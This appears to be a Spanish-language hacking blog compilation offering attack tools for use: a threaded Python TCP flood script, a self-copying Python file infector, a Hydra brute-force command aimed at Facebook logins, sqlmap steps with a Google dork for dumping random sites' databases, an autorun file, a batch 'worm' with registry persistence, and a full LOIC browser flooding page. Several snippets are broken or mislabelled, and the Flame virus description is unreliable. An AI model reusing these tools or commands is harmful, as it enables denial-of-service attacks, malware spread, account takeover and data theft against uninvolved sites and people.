Ataque de denegación de servicio (DOS) Python 3.4 ejemplo

from threading import Thread

import socket

import time

class MyThread(Thread):

    def run(self):

        #verifica que exista la pagina

        conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)

        conexion.connect((Ip,Puerto))

        conexion.close()

        try:

            l = 1

            while True:

                conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)

                conexion.connect((Ip,Puerto))

                conexion.close()

                print(l)

                l = l+1

        except IOError: 

            print("error")

Ip = input("Ip:")

#default 80

Puerto = int(input("Puerto: "))

NoThread = int(input("Numero de Hilos: "))

for i in range(NoThread):

  my_thread = MyThread()

  print("Hilo Activo: ")

  print("Tempo de Espera en Cada Hilo: 1\n")

  time.sleep(1)

  my_thread.name = i

  my_thread.start()

python 3 mark lutz pdf

Aqui les dejo el libro de mark lutz sobre python 3 que me encontre en internet esta completo contiene 1217
paginas esta completo esta muy bien ya que explica como esta estructurado y ejemplos con la nueva version de python 3.x

EL CONOCIMIENTO DEBE SER LIBRE

<=#=#=#=#=#=#=#=#=#=

Infeccion en python

Bueno últimamente me e estado metiendo con python ya que es un buen lenguaje para hacer scrips de ultimo momento y ademas es muy poderoso, 

Aquí esta una infección que infecta exenciones en .py lo hice nomas para poder probar los conocimientos adquiridos se ejecuta en la carpeta raíz ya que no e podido meterme con el disco C por permisos

funciona    en python 3.3.2 y con 2.7.5 suerte 

import os
from sys import argv

this_file = open(argv[0])
this_lines = this_file.readlines()
this_file.close()
# se auto lee
for files in os.listdir('.'):
  #busca archivos
  if files.find('.py') >=1:
     new_files = open(files,"r+")
     target_lines = new_files.readlines()
     new_files.seek(0)
     try:
       #los infecta
        new_files.write("".join(this_lines))
        for target in target_lines:
            new_files.write("%s" %target)
        new_files.close()
     except:
       # si pasa un error
           new_files.close()
           new_files.open(files,"w")
           for target in target_lines:
             new_files.write("%s" %target)
           new_files.close()
           os._exit(1)

Como usar Hydra en Facebook, Gmail, Twitter

Como utilizar Hydra Facebook bueno aquí le dejare un pequeño ejemplo de como utilizar hydra en facebook
ay unos que le llaman (hackear facebook) yo no le llamo asi se oye algo mal, mejor tomalo como auditoria de seguridad jaja xD

1 primero abres tu back track
2 después abres tu consola y colocas Hydra (solamente así sin necesidad de ingresar al directorio de pentest)
3 después tienes que ver los codigos de la pagina de facebook inspeccionar elemento

4 Luego buscas el form

5 y por ultimo el id de los campos de usuario y de contraseña

Aquí esta el código ya echo solo para que lo coloquen en su consola
hydra -l correo -p contraseña www.pagina.com http-post-form "/login.php?login_attempt=1:email=^USER^&pass=^PASS^:incorrect"

-p es para cuando se tiene solo una contraseña
-l es para cuando se tiene solo un usuario

Si quieres utilizar muchos usuarios o contraseñas
solo reemplazos por -L -P  (ejemplo
-P root/Desktop/contraseñas.txt
y si fueran para usuarios solo usarías la -L y el archivo donde se alojan y no olviden poner tu terminación
ejemplo (.txt o .lst)

SUERTE Y CUIDADO FUNCIONA :)

Como utilizar SQLMAP

las paginas que quieres atacar tendrían  una terminación parecida a esta .php?id=435
y si no quieres un blanco en especifico solo pon esto en google y te dará todas las paginas con .php?id=

inurl:".php?id=" site:.mx

donde dice site puedes quitarlo ya que da las paginas de México y si te encuentras en otro país solo pon la terminación correspondiente

inurl:".php?id="

si no sabes como hacer esto y te preguntas como se hace bájate back Track ya que es un sistema de auditorias(nueva versión Back Track 5r3)



1 cd /pentest/database/sqlmap
2 python sqlmap.py -u http://pagina web --dbs (es para sacar base de datos)
3 después de que tengas la base de datos seria python sqlmap.py -u http://pagina web -D base de datos --tables (para sacar informacion de la base)
4 después python sqlmap.py -u http://pagina web -D base de datos -T ejemplo --columns
5 después de que tengas las columnas sigue  python sqlmap.py -u http://pagina web -D base de datos -T ejemplo -C ejemplo --dump

Como crear un dominio .onion

bueno se nesesitan 2 cosas

1 instalar I2P
2 Tor


tutorial i2p

tutorial Tor

Como navegar en la deep web

bueno últimamente e andado de "curioso" en el tema de la deep wep y si andas de curioso pues deberás tener mucho cuidado ya que suele ser un lugar bastante peligroso mas si eres una persona sin conocimientos de informática NO TE METAS 

esto te sirviera si quieres acceder a a la deep web tendrás que usar tu windows desde una pendrive y usando tor para mantener tu anonimato 

1  como usar una linux desde una pendrive 

solo descargas la version de windows que quieras en .iso  (o que soporte tu compu 32 a 64 bit)

descargas el unetbootin y colocas la imagen .iso y la pendrive y el programa lo ara todo por ti y cuando  enciendas la computadora rapidamente cuando se inicie la bios presionas f12 (en mi caso) y listo 

si quieres que inicie desde un disco usa ashampoo seria lo mismo pero con un disco

las ventajas de usar un pendrive o disco es que cuando accedas a la deep web y si por si acaso se mete un virus puedes apagar el sistema o reiniciarla ya que si lo inicias desde un pendrive o disco no se guarda nada y es como si no se hubiera infectad nada ya que en nuestro equipo normalmente no hace

2 usar tor también puedes instalarlo desde una pendrive o disco y listo

SUERTE Y CUIDADO

   

Codigo Fuente de Virus AUTORUN

Este es un virus en exe solo lo pegas en un block de notas y lo guardas como .exe y listo  tu primer AUTORUN




[autorun]
open=RECYCLER\S-1-6-21-2434476501-1644491937-600003330-1213\autoruns.exe
icon=%systemroot%\system32\shell.dll,4
action=open folder to view files
shell\open=open
shell\open\command-recycler\s-1-6-21-2434476501-1644491937-600003330-1213\autoruns.exe
shell\open\default=1

Codigo Fuente de Virus Gusano

Este es un virus gusano en batch solo lo copias y lo pegas en un blok de notas y lo guardas como .bat y listo tu primer virus sencillo




@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v
hack/d0%windir%\system32\worm.bat
:worm
cd/
cd%homepatch%
cd escitorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd\
cd windows
mkdir %ramdom% 
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
goto worm

Que es el Virus Flame

que es Flame es un virus muy complejo considerado la mayor ciberarma  de espionaje y fue descubierto por la compañía rusa fabricante de antivirus kaspersky según comentan el virus ya llevaba 2 años operando bajo las sombras cual es el propósito de esa arma pues se dice que para una ciberguerra y todo se mantiene en secreto

Flame va mas allá de los virus normales, atrás de el ay ecuaciones matemáticas y criptografias mucho mas adelantadas que de las que se utilizan hoy en día y cuando se decide analizarlo el virus es totalmente borrado sin dejar rastro alguno, muchas de las empresas estan tomando medidas contra estos tipos de virus como microsoft entre otros

CODIGO PARA LOIC ONLINE

<html>
<head>
    <title>LOIC'Online v0.1</title>
<!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
</head>
<center><h1>LOIC Online Anonymous'Edition</h1></center>
<body style="background-color:black; color:#FFFFFF;">
<div style="position:absolute; width:100%; height:100%;">
<div style="width:490px; height:326px; position:absolute;">
<img alt="LOIC"src="http://www.calgarc.com/images/loop.png" />
</div>

<div style="width:240px; height:100px; position:absolute;left:500px;">
     <fieldset style="width:100%; height:100%;">
        <legend>Step 1. Selecciona tu objetivo:</legend>
        <label>URL: <br /> <input id="targetURL" style="width:100%;" value="pagina a atakkar" /></label> <!-- disabled="true" -->
        <small>Ejemplo : http://www.moko.com</small>
    </fieldset>
</div>
<div style="width:240px; height:100px; position:absolute; left:780px;">
     <fieldset style="width:100%; height:100%;">
       <legend>Step 2. Ready?</legend>

        <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
    </fieldset>
</div>

<div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
     <fieldset style="width:100%; height:100%;">
        <legend>Opcional. Opciones</legend>
         <label>peticiones por segundo : <input style="width:40px;" id="rps" value="100" /></label><br />

         <label>mensaje : <br /><input style="width:100%;" id="message" value="aprender significa una revolucion" /></label>
    </fieldset>
</div>

<div style="width:240px; height:160px;  position:absolute; left:780px; top:150px;">
     <fieldset style="width:100%; height:100%;">
         <legend>Attack status:</legend>
        <dl>
            <dt>Requested:</dt>
            <dd id="requestedCtr">0</dd>
            <dt style="opacity: 0.5; color: green;">Request OK :</dt>
            <dd style="opacity: 0.5" id="succeededCtr">0</dd>
            <dt style="opacity: 0.5; color: red;">Request failed :</dt>
            <dd style="opacity: 0.5" id="failedCtr">0</dd>
        </dl>
    </fieldset>
</div>
</div>
    <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");
            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };
            var requestsHT = {}; // requests hash table, may come in handy later
            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;
            var makeHttpRequest = function () {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;

succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "START";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };

        })();

isFiring = true;
document.getElementById("fireButton").innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
    </script>
</body>
</html>

CUAL FUNCIONA MEJOR HOIC O LOIC

Bueno algunos de los internautas activos me an dicho que funciona mejor LOIC aunque sea lento pero efectivo, y lo que an dicho de HOIC  es que lo que ase es cortar tu conexión con la pagina y te da un falso resultado


Bueno esa fue algunas opiniones acerca de HOIC y LOIC pero cada persona juzga al mundo con sus propios ojos 


la mente que se abre a una nueva idea, jamas volvera a su tamaño original

Albert Einstein

FUNCIONA LOIC Y HOIC

Por andar navegando en las aguas desconocidas del Internet me tope con una información bastante interesante es una duda de in internauta acerca de estos dos programas, se pregunta si serán honeypot?? en que consiste esto, en que resulta que dichos programas dan información de tu pc al administrador de ese lugar esa es la gran duda que aflija al internauta tanto como ami si ay alguien que conozca bien acerca de este tema es bienvenido a comentarlo gracias atte CIRCONIPPON

Software para hackear el psp

Primero se tiene que tener la actualizacion 6. 39 si no se tienen no se podra hackear el psp y despues descargan esto, para ejecutar la actualizacion se tiene que tener por lo menos el 75% de carga
mas detallado VER